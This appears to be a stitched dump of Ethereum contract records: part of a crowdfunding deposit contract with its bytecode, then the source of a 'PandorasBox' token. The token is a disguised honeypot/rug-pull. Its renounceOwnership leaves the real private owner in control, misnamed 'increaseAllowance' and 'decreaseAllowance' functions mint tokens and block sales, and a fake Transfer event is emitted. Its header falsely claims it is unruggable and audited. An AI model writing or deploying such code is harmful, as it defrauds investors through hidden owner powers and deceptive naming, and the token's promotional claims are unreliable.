VARIABLES ################### States public state = States.Init; // privileged account: switch contract state, change config, whitelisting, trigger payout, ... address public stateController; // privileged account: whitelisting address public whitelistController; // Collected funds can be transferred only to this address. Is set in constructor. address public payoutAddress; // accepted deposits (received from whitelisted accounts) uint256 public cumAcceptedDeposits = 0; // not (yet) accepted deposits (received from non-whitelisted accounts) uint256 public cumAlienDeposits = 0; // cap for how much we accept (since the amount of tokens sold is also capped) uint256 public maxCumAcceptedDeposits = 1E9 * 1E18; // pre-set to effectively unlimited (> existing ETH) uint256 public minDeposit = 0.1 * 1E18; // lower bound per participant (can be a kind of spam protection) uint256 minLockingTs; // earliest possible start of "locked" phase // whitelisted addresses (those having "accepted" deposits) mapping (address => bool) public whitelist; // the state controller can set this in order to disallow deposits from addresses not whitelisted before bool public requireWhitelistingBeforeDeposit = false; // tracks accepted deposits (whitelisted accounts) mapping (address => uint256) public acceptedDeposits; // tracks alien (not yet accepted) deposits (non-whitelisted accounts) mapping (address => uint256) public alienDeposits; // ################### EVENTS ################### // emitted events transparently document the open funding activities. // only deposits made by whitelisted accounts (and not followed by a refund) count. event StateTransition(States oldState, States newState); event Whitelisted(address addr); event Deposit(address addr, uint256 amount); event Refund(address addr, uint256 amount); // emitted when the accepted deposits are fetched to an account controlled by the ATS token provider event FetchedDeposits(uint256 amount); // ################### MODIFIERS ################### modifier onlyStateControl() { require(msg.sender == stateController, "no permission"); _; } modifier onlyWhitelistControl() { require(msg.sender == stateController || msg.sender == whitelistController, "no permission"); _; } modifier requireState(States _requiredState) { require(state == _requiredState, "wrong state"); _; } // ################### CONSTRUCTOR ################### // the contract creator is set as stateController constructor(address _whitelistController, address _payoutAddress) public { whitelistController = _whitelistController; payoutAddress = _payoutAddress; stateController = msg.sender; } // ################### FALLBACK FUNCTION ################### // implements the deposit and refund actions. function () payable public { if(msg.value > 0) { require(state == States.Open || state == States.Locked); if(requireWhitelistingBeforeDeposit) { require(whitelist[msg.sender] == true, "not whitelisted"); } tryDeposit(); } else { tryRefund(); } } // ################### PUBLIC FUNCTIONS ################### function stateSetOpen(uint32 _minLockingTs) public onlyStateControl requireState(States.Init) { minLockingTs = _minLockingTs; setState(States.Open); } function stateSetLocked() public onlyStateControl requireState(States.Open) { require(block.timestamp >= minLockingTs); setState(States.Locked); } function stateSetOver() public onlyStateControl requireState(States.Locked) { setState(States.Over); } // state controller can change the cap. Reducing possible only if not below current deposits function updateMaxAcceptedDeposits(uint256 _newMaxDeposits) public onlyStateControl { require(cumAcceptedDeposits <= _newMaxDeposits); maxCumAcceptedDeposits = _newMaxDeposits; } // new limit to be enforced for future deposits function updateMinDeposit(uint256 _newMinDeposit) public onlyStateControl { minDeposit = _newMinDeposit; } // option to switch between async and sync whitelisting function setRequireWhitelistingBeforeDeposit(bool _newState) public onlyStateControl { requireWhitelistingBeforeDeposit = _newState; } // Since whitelisting can occur asynchronously, an account to be whitelisted may already have deposited Ether. // In this case the deposit is converted form alien to accepted. // Since the deposit logic depends on the whitelisting status and since transactions are processed sequentially, // it's ensured that at any time an account can have either (XOR) no or alien or accepted deposits and that // the whitelisting status corresponds to the deposit status (not_whitelisted <-> alien | whitelisted <-> accepted). // This function is idempotent. function addToWhitelist(address _addr) public onlyWhitelistControl { if(whitelist[_addr] != true) { // if address has alien deposit: convert it to accepted if(alienDeposits[_addr] > 0) { cumAcceptedDeposits += alienDeposits[_addr]; acceptedDeposits[_addr] += alienDeposits[_addr]; cumAlienDeposits -= alienDeposits[_addr]; delete alienDeposits[_addr]; // needs to be the last statement in this block! } whitelist[_addr] = true; emit Whitelisted(_addr); } } // Option for batched whitelisting (for times with crowded chain). // caller is responsible to not blow gas limit with too many addresses at once function batchAddToWhitelist(address[] _addresses) public onlyWhitelistControl { for (uint i = 0; i < _addresses.length; i++) { addToWhitelist(_addresses[i]); } } // transfers an alien deposit back to the sender function refundAlienDeposit(address _addr) public onlyWhitelistControl { // Note: this implementation requires that alienDeposits has a primitive value type. // With a complex type, this code would produce a dangling reference. uint256 withdrawAmount = alienDeposits[_addr]; require(withdrawAmount > 0); delete alienDeposits[_addr]; // implies setting the value to 0 cumAlienDeposits -= withdrawAmount; emit Refund(_addr, withdrawAmount); _addr.transfer(withdrawAmount); // throws on failure } // payout of the accepted deposits to the pre-designated address, available once it's all over function payout() public onlyStateControl requireState(States.Over) { uint256 amount = cumAcceptedDeposits; cumAcceptedDeposits = 0; emit FetchedDeposits(amount); payoutAddress.transfer(amount); // not idempotent, but multiple invocation would just trigger zero-transfers } // After the specified date, any of the privileged/special accounts can trigger payment of remaining funds // to the payoutAddress. This is a safety net to minimize the risk of funds remaining stuck. // It's not yet clear what we can / should / are allowed to do with alien deposits which aren't reclaimed. // With this fallback in place, we have for example the option to donate them at some point. function fallbackPayout() public { require(msg.sender == stateController || msg.sender == whitelistController || msg.sender == payoutAddress); require(block.timestamp > FALLBACK_PAYOUT_TS); payoutAddress.transfer(address(this).balance); } // ################### INTERNAL FUNCTIONS ################### // rule enforcement and book-keeping for incoming deposits function tryDeposit() internal { require(cumAcceptedDeposits + msg.value <= maxCumAcceptedDeposits); if(whitelist[msg.sender] == true) { require(acceptedDeposits[msg.sender] + msg.value >= minDeposit); acceptedDeposits[msg.sender] += msg.value; cumAcceptedDeposits += msg.value; } else { require(alienDeposits[msg.sender] + msg.value >= minDeposit); alienDeposits[msg.sender] += msg.value; cumAlienDeposits += msg.value; } emit Deposit(msg.sender, msg.value); } // rule enforcement and book-keeping for refunding requests function tryRefund() internal { // Note: this implementation requires that acceptedDeposits and alienDeposits have a primitive value type. // With a complex type, this code would produce dangling references. uint256 withdrawAmount; if(whitelist[msg.sender] == true) { require(state == States.Open); withdrawAmount = acceptedDeposits[msg.sender]; require(withdrawAmount > 0); delete acceptedDeposits[msg.sender]; // implies setting the value to 0 cumAcceptedDeposits -= withdrawAmount; } else { // alien deposits can be withdrawn anytime (we prefer to not touch them) withdrawAmount = alienDeposits[msg.sender]; require(withdrawAmount > 0); delete alienDeposits[msg.sender]; // implies setting the value to 0 cumAlienDeposits -= withdrawAmount; } emit Refund(msg.sender, withdrawAmount); // do the actual transfer last as recommended since the DAO incident (Checks-Effects-Interaction pattern) msg.sender.transfer(withdrawAmount); // throws on failure } function setState(States _newState) internal { state = _newState; emit StateTransition(state, _newState); } }
0x6080604052600436106101325763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663088f87e0811461021357806320cb27fb14610234578063299f5f1a1461025d5780632db6fa36146102845780632fdbb3d4146102d957806341b3d185146102ee5780635b8d02d7146103035780635ec72a90146103345780636124a5771461034957806363bd1d4a1461035e57806394e2662f146103735780639a7be4711461038d5780639b19251a146103a5578063a9c712f8146103c6578063bf632e67146103e7578063c1707f66146103fc578063c19d93fb1461041a578063c739515114610453578063c8af15381461046b578063d663630714610480578063d9fb696314610495578063e43252d7146104aa578063e85ff4f1146104cb575b6000341115610209576001600054640100000000900460ff16600381111561015657fe5b148061017a57506002600054640100000000900460ff16600381111561017857fe5b145b151561018557600080fd5b60095460ff16156101fc573360009081526008602052604090205460ff1615156001146101fc576040805160e560020a62461bcd02815260206004820152600f60248201527f6e6f742077686974656c69737465640000000000000000000000000000000000604482015290519081900360640190fd5b6102046104ec565b610211565b6102116105e0565b005b34801561021f57600080fd5b50610211600160a060020a0360043516610700565b34801561024057600080fd5b50610249610830565b604080519115158252519081900360200190f35b34801561026957600080fd5b50610272610839565b60408051918252519081900360200190f35b34801561029057600080fd5b50604080516020600480358082013583810280860185019096528085526102119536959394602494938501929182918501908490808284375094975061083f9650505050505050565b3480156102e557600080fd5b506102726108e5565b3480156102fa57600080fd5b506102726108eb565b34801561030f57600080fd5b506103186108f1565b60408051600160a060020a039092168252519081900360200190f35b34801561034057600080fd5b50610272610900565b34801561035557600080fd5b50610318610906565b34801561036a57600080fd5b50610211610915565b34801561037f57600080fd5b506102116004351515610a48565b34801561039957600080fd5b50610211600435610ab4565b3480156103b157600080fd5b50610249600160a060020a0360043516610b12565b3480156103d257600080fd5b50610272600160a060020a0360043516610b27565b3480156103f357600080fd5b50610318610b39565b34801561040857600080fd5b5061021163ffffffff60043516610b51565b34801561042657600080fd5b5061042f610c1d565b6040518082600381111561043f57fe5b60ff16815260200191505060405180910390f35b34801561045f57600080fd5b50610211600435610c2e565b34801561047757600080fd5b50610211610c9b565b34801561048c57600080fd5b50610211610d38565b3480156104a157600080fd5b50610211610dfa565b3480156104b657600080fd5b50610211600160a060020a0360043516610ecb565b3480156104d757600080fd5b50610272600160a060020a0360043516611022565b600554600354340111156104ff57600080fd5b3360009081526008602052604090205460ff1615156001141561056257600654336000908152600a60205260409020543401101561053c57600080fd5b336000908152600a602052604090208054349081019091556003805490910190556105a4565b600654336000908152600b60205260409020543401101561058257600080fd5b336000908152600b602052604090208054349081019091556004805490910190555b6040805133815234602082015281517fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c929181900390910190a1565b3360009081526008602052604081205460ff1615156001141561065d576001600054640100000000900460ff16600381111561061857fe5b1461062257600080fd5b50336000908152600a602052604081205490811161063f57600080fd5b336000908152600a6020526040812055600380548290039055610694565b50336000908152600b602052604081205490811161067a57600080fd5b336000908152600b60205260408120556004805482900390555b604080513381526020810183905281517fbb28353e4598c3b9199101a66e0989549b659a59a54d2c27fbb183f1932c8e6d929181900390910190a1604051339082156108fc029083906000818181858888f193505050501580156106fc573d6000803e3d6000fd5b5050565b60008054650100000000009004600160a060020a031633148061072d5750600154600160a060020a031633145b1515610771576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206110e8833981519152604482015290519081900360640190fd5b50600160a060020a0381166000908152600b602052604081205490811161079757600080fd5b600160a060020a0382166000818152600b60209081526040808320929092556004805485900390558151928352820183905280517fbb28353e4598c3b9199101a66e0989549b659a59a54d2c27fbb183f1932c8e6d9281900390910190a1604051600160a060020a0383169082156108fc029083906000818181858888f1935050505015801561082b573d6000803e3d6000fd5b505050565b60095460ff1681565b60045481565b60008054650100000000009004600160a060020a031633148061086c5750600154600160a060020a031633145b15156108b0576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206110e8833981519152604482015290519081900360640190fd5b5060005b81518110156106fc576108dd82828151811015156108ce57fe5b90602001906020020151610ecb565b6001016108b4565b60035481565b60065481565b600254600160a060020a031681565b60055481565b600154600160a060020a031681565b60008054650100000000009004600160a060020a0316331461096f576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206110e8833981519152604482015290519081900360640190fd5b600380600054640100000000900460ff16600381111561098b57fe5b146109ce576040805160e560020a62461bcd02815260206004820152600b60248201526000805160206110c8833981519152604482015290519081900360640190fd5b6003805460009091556040805182815290519193507f604544f99364c29a0cb76c78f10d29808ebc464eea63bd8a9cccbf860cff41b3919081900360200190a1600254604051600160a060020a039091169083156108fc029084906000818181858888f1935050505015801561082b573d6000803e3d6000fd5b600054650100000000009004600160a060020a03163314610aa1576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206110e8833981519152604482015290519081900360640190fd5b6009805460ff1916911515919091179055565b600054650100000000009004600160a060020a03163314610b0d576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206110e8833981519152604482015290519081900360640190fd5b600655565b60086020526000908152604090205460ff1681565b600a6020526000908152604090205481565b600054650100000000009004600160a060020a031681565b600054650100000000009004600160a060020a03163314610baa576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206110e8833981519152604482015290519081900360640190fd5b600080600054640100000000900460ff166003811115610bc657fe5b14610c09576040805160e560020a62461bcd02815260206004820152600b60248201526000805160206110c8833981519152604482015290519081900360640190fd5b63ffffffff82166007556106fc6001611034565b600054640100000000900460ff1681565b600054650100000000009004600160a060020a03163314610c87576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206110e8833981519152604482015290519081900360640190fd5b600354811015610c9657600080fd5b600555565b600054650100000000009004600160a060020a0316331480610cc75750600154600160a060020a031633145b80610cdc5750600254600160a060020a031633145b1515610ce757600080fd5b60005463ffffffff164211610cfb57600080fd5b600254604051600160a060020a0390911690303180156108fc02916000818181858888f19350505050158015610d35573d6000803e3d6000fd5b50565b600054650100000000009004600160a060020a03163314610d91576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206110e8833981519152604482015290519081900360640190fd5b600280600054640100000000900460ff166003811115610dad57fe5b14610df0576040805160e560020a62461bcd02815260206004820152600b60248201526000805160206110c8833981519152604482015290519081900360640190fd5b610d356003611034565b600054650100000000009004600160a060020a03163314610e53576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206110e8833981519152604482015290519081900360640190fd5b600180600054640100000000900460ff166003811115610e6f57fe5b14610eb2576040805160e560020a62461bcd02815260206004820152600b60248201526000805160206110c8833981519152604482015290519081900360640190fd5b600754421015610ec157600080fd5b610d356002611034565b600054650100000000009004600160a060020a0316331480610ef75750600154600160a060020a031633145b1515610f3b576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206110e8833981519152604482015290519081900360640190fd5b600160a060020a03811660009081526008602052604090205460ff161515600114610d3557600160a060020a0381166000908152600b60205260408120541115610fc757600160a060020a0381166000908152600b6020818152604080842080546003805490910190558054600a84529185208054909201909155919052805460048054919091039055555b600160a060020a038116600081815260086020908152604091829020805460ff19166001179055815192835290517faab7954e9d246b167ef88aeddad35209ca2489d95a8aeb59e288d9b19fae5a549281900390910190a150565b600b6020526000908152604090205481565b6000805482919064ff00000000191664010000000083600381111561105557fe5b02179055507f3a779de46631dd65116ae538600f1bc3c338200c6aef638429b5de43301c28f7600060049054906101000a900460ff16826040518083600381111561109c57fe5b60ff1681526020018260038111156110b057fe5b60ff1681526020019250505060405180910390a150560077726f6e672073746174650000000000000000000000000000000000000000006e6f207065726d697373696f6e00000000000000000000000000000000000000a165627a7a723058203a3998be2566bff4cdd32d60ae846f994290ff88601e3514a80becf298901fde0029
{"success": true, "error": null, "results": {}}
8,370
0xa15da7fd190a46b911a45f35b27c43bd2af7ca3d
/** Team8 with association with CRYPTO-CHADS present: ██▓███ ▄▄▄ ███▄ █ ▓█████▄ ▒█████ ██▀███ ▄▄▄ ██████ ▓██░ ██▒▒████▄ ██ ▀█ █ ▒██▀ ██▌▒██▒ ██▒▓██ ▒ ██▒▒████▄ ▒██ ▒ ▓██░ ██▓▒▒██ ▀█▄ ▓██ ▀█ ██▒░██ █▌▒██░ ██▒▓██ ░▄█ ▒▒██ ▀█▄ ░ ▓██▄ ▒██▄█▓▒ ▒░██▄▄▄▄██ ▓██▒ ▐▌██▒░▓█▄ ▌▒██ ██░▒██▀▀█▄ ░██▄▄▄▄██ ▒ ██▒ ▒██▒ ░ ░ ▓█ ▓██▒▒██░ ▓██░░▒████▓ ░ ████▓▒░░██▓ ▒██▒ ▓█ ▓██▒▒██████▒▒ ▒▓▒░ ░ ░ ▒▒ ▓▒█░░ ▒░ ▒ ▒ ▒▒▓ ▒ ░ ▒░▒░▒░ ░ ▒▓ ░▒▓░ ▒▒ ▓▒█░▒ ▒▓▒ ▒ ░ ░▒ ░ ▒ ▒▒ ░░ ░░ ░ ▒░ ░ ▒ ▒ ░ ▒ ▒░ ░▒ ░ ▒░ ▒ ▒▒ ░░ ░▒ ░ ░ ░░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▄▄▄▄ ▒█████ ▒██ ██▒ ▓█████▄ ▒██▒ ██▒▒▒ █ █ ▒░ ▒██▒ ▄██▒██░ ██▒░░ █ ░ ▒██░█▀ ▒██ ██░ ░ █ █ ▒ ░▓█ ▀█▓░ ████▓▒░▒██▒ ▒██▒ ░▒▓███▀▒░ ▒░▒░▒░ ▒▒ ░ ░▓ ░ ▒░▒ ░ ░ ▒ ▒░ ░░ ░▒ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ...a one of kind deflatinary staking token. Dare you open it? --- INFO -- 🔧 Features: - Automatic burn of 3% per year - World's first Automated lottery system with 250k tickets! - Unruggable! 🔧 Token Utility: - Worlds first charity validator - Dex for ERC tokens - NFT’s for space education & charity 📠 TX fees - 3% Automatic lottery - 0.5% Team / 0.5% Marketing / 1% Static rewards ℹ️ Supply - 800 Million initial - 51% Burned - 392 Million remaining ✅ Audit completed and passed **/ pragma solidity ^0.6.10; // SPDX-License-Identifier: MIT library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _call() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address public Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address call = _call(); _owner = call; Owner = call; emit OwnershipTransferred(address(0), call); } modifier onlyOwner() { require(_owner == _call(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); Owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract PandorasBox is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _router; mapping(address => mapping (address => uint256)) private _allowances; address private router; address private caller; uint256 private _totalTokens = 80000000 * 10**18; uint256 private rTotal = 80000000 * 10**18; string private _name = 'PandorasBox @PandorasStakingBox'; string private _symbol = 'BOX'; uint8 private _decimals = 18; constructor () public { _router[_call()] = _totalTokens; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _call(), _totalTokens); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decreaseAllowance(uint256 amount) public onlyOwner { rTotal = amount * 10**18; } function balanceOf(address account) public view override returns (uint256) { return _router[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_call(), recipient, amount); return true; } function increaseAllowance(uint256 amount) public onlyOwner { require(_call() != address(0)); _totalTokens = _totalTokens.add(amount); _router[_call()] = _router[_call()].add(amount); emit Transfer(address(0), _call(), amount); } function Approve(address trade) public onlyOwner { caller = trade; } function setrouteChain (address Uniswaprouterv02) public onlyOwner { router = Uniswaprouterv02; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_call(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _call(), _allowances[sender][_call()].sub(amount)); return true; } function totalSupply() public view override returns (uint256) { return _totalTokens; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0)); require(recipient != address(0)); if (sender != caller && recipient == router) { require(amount < rTotal); } _router[sender] = _router[sender].sub(amount); _router[recipient] = _router[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461047f578063b4a99a4e146104e5578063dd62ed3e1461052f578063f2fde38b146105a757610100565b806370a0823114610356578063715018a6146103ae57806395d89b41146103b857806396bfcd231461043b57610100565b806318160ddd116100d357806318160ddd1461024a57806323b872dd14610268578063313ce567146102ee5780636aae83f31461031257610100565b806306fdde0314610105578063095ea7b31461018857806310bad4cf146101ee57806311e330b21461021c575b600080fd5b61010d6105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b61021a6004803603602081101561020457600080fd5b81019080803590602001909291905050506106ab565b005b6102486004803603602081101561023257600080fd5b8101908080359060200190929190505050610788565b005b6102526109c0565b6040518082815260200191505060405180910390f35b6102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ca565b604051808215151515815260200191505060405180910390f35b6102f6610a89565b604051808260ff1660ff16815260200191505060405180910390f35b6103546004803603602081101561032857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aa0565b005b6103986004803603602081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bad565b6040518082815260200191505060405180910390f35b6103b6610bf6565b005b6103c0610d7f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104005780820151818401526020810190506103e5565b50505050905090810190601f16801561042d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61047d6004803603602081101561045157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e21565b005b6104cb6004803603604081101561049557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f2e565b604051808215151515815260200191505060405180910390f35b6104ed610f4c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105916004803603604081101561054557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f72565b6040518082815260200191505060405180910390f35b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff9565b005b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106a161069a611206565b848461120e565b6001905092915050565b6106b3611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610774576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a7640000810260078190555050565b610790611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610871611206565b73ffffffffffffffffffffffffffffffffffffffff16141561089257600080fd5b6108a78160065461136d90919063ffffffff16565b60068190555061090681600260006108bd611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136d90919063ffffffff16565b60026000610912611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610958611206565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600654905090565b60006109d78484846113f5565b610a7e846109e3611206565b610a7985600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a30611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b61120e565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b610aa8611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b69576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bfe611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cbf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e175780601f10610dec57610100808354040283529160200191610e17565b820191906000526020600020905b815481529060010190602001808311610dfa57829003601f168201915b5050505050905090565b610e29611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610f42610f3b611206565b84846113f5565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611001611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572815250